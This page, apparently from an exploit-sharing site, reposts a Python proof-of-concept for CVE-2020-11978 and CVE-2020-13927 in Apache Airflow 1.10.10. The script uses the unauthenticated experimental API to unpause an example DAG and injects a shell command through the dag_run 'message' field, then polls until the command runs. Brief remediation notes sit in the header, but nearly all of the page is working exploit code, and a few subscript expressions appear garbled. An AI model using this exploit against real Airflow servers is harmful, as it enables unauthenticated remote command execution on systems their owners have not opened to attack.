Loading
0

CVE-2020-13927 CVE-2020-11978 Apache Airflow 1.10.10 – ‘Example Dag’远程命令执行漏洞

PWNWIK.COM

,

EXP

# Exploit Title: Apache Airflow 1.10.10 - 'Example Dag' Remote Code Execution 
# Date: 2021-06-02
# Exploit Author: Pepe Berba
# Vendor Homepage: https://airflow.apache.org/
# Software Link: https://airflow.apache.org/docs/apache-airflow/stable/installation.html
# Version: <= 1.10.10
# Tested on: Docker apache/airflow:1.10 .10 (https://github.com/pberba/CVE-2020-11978/blob/main/docker-compose.yml)
# CVE : CVE-2020-11978
# 
# This is a proof of concept for CVE-2020-11978, a RCE vulnerability in one of the example DAGs shipped with airflow
# This combines with CVE-2020-13927 where unauthenticated requests to Airflow's Experimental API were allowded by default.
# Together, potentially allows unauthenticated RCE to Airflow 
# 
# Repo: https://github.com/pberba/CVE-2020-11978
# More information can be found here:  
# https://lists.apache.org/thread.html/r23a81b247aa346ff193670be565b2b8ea4b17ddbc7a35fc099c1aadd%40%3Cdev.airflow.apache.org%3E
# https://lists.apache.org/thread.html/r7255cf0be3566f23a768e2a04b40fb09e52fcd1872695428ba9afe91%40%3Cusers.airflow.apache.org%3E
#
# Remediation:
# For CVE-2020-13927 make sure that the config `apiauth_backend = airflow.api.auth.backend.deny_all` or has auth set.
# For CVE-2020-11978 use 1.10.11 or set `load_examples=False` when initializing Airflow. You can also manually delete example_trigger_target_dag DAG.
#
# Example usage: python CVE-2020-11978.py http://127.0.0.1:8080 "touch test"

import argparse
import requests
import sys
import time

def create_dag(url, cmd):
	print('+ Checking if Airflow Experimental REST API is accessible...')
	check = requests.get('{}/api/experimental/test'.format(url))

	if check.status_code == 200:
		print('+ /api/experimental/test returned 200' )
	else:
		print('! /api/experimental/test returned {}'.format(check.status_code))
		print('! Airflow Experimental REST API not be accessible')
		sys.exit(1)

	check_task = requests.get('{}/api/experimental/dags/example_trigger_target_dag/tasks/bash_task'.format(url))
	if check_task.status_code != 200:
		print('! Failed to find the example_trigger_target_dag.bash_task')
		print('! Host isn\'t vunerable to CVE-2020-11978')
		sys.exit(1)
	elif 'dag_run' in check_task.json()'env':
		print('! example_trigger_target_dag.bash_task is patched')
		print('! Host isn\'t vunerable to CVE-2020-11978')
		sys.exit(1)
	print('+ example_trigger_target_dag.bash_task is vulnerable')

	unpause = requests.get('{}/api/experimental/dags/example_trigger_target_dag/paused/false'.format(url))
	if unpause.status_code != 200:
		print('! Unable to enable example_trigger_target_dag. Example dags were not loaded')
		sys.exit(1)
	else:
		print('+ example_trigger_target_dag was enabled')

	print('+ Creating new DAG...')
	res = requests.post(
	    '{}/api/experimental/dags/example_trigger_target_dag/dag_runs'.format(url),
	    json={
	        'conf': {
	                'message': '"; {} #'.format(cmd)
	        }
	    }
	)

	if res.status_code == 200:
		print('+ Successfully created DAG')
		print('+ "{}"'.format(res.json()'message'))
	else:
		print('! Failed to create DAG')
		sys.exit(1)

	wait_url = '{url}/api/experimental/dags/example_trigger_target_dag/dag_runs/{execution_date}/tasks/bash_task'.format(
		url = url,
		execution_date=res.json()'execution_date'
	)

	start_time = time.time()
	print('. Waiting for the scheduler to run the DAG... This might take a minute.')
	print('. If the bash task is never queued, then the scheduler might not be running.')
	while True:
		time.sleep(10)
		res = requests.get(wait_url)
		status = res.json()'state'
		if status == 'queued':
			print('. Bash task queued...')
		elif status == 'running':
			print('+ Bash task running...')
		elif status == 'success':
			print('+ Bash task successfully ran')
			break
		elif status == 'None':
			print('- Bash task is not yet queued...'.format(status))
		else:
			print('! Bash task was {}'.format(status))
			sys.exit(1)

	return 0


def main():
	arg_parser = argparse.ArgumentParser()
	arg_parser.add_argument('url', type=str, help="Base URL for Airflow")
	arg_parser.add_argument('command', type=str)
	args = arg_parser.parse_args()

	create_dag(
		args.url, 
		args.command
	)

if __name__ == '__main__':
	main()

PWNWIK.COM